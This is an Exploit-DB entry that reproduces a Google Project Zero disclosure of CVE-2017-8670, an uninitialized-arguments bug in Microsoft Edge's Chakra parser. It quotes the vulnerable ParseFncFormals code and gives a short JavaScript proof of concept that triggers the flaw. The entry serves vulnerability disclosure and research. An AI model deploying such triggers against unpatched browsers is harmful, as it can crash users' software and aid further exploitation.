Microsoft Edge Chakra - Uninitialized Arguments (2)

EDB-ID: 42477
Author: Google Security Research
Published: 2017-08-17
CVE: CVE-2017-8670
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1298 

Similar to the issue #1297 . But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
...
if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
{
...
// Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
{
Assert(lexNode->IsVarLetOrConst());
UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
lexNode->sxVar.sym->SetSymbolType(STFormal);
if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
{
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam; <<------ HERE
}
}
...
...
}

PoC:
-->

function f() {
({a = ([arguments]) => {
}} = 1);

arguments.x;
}

f();

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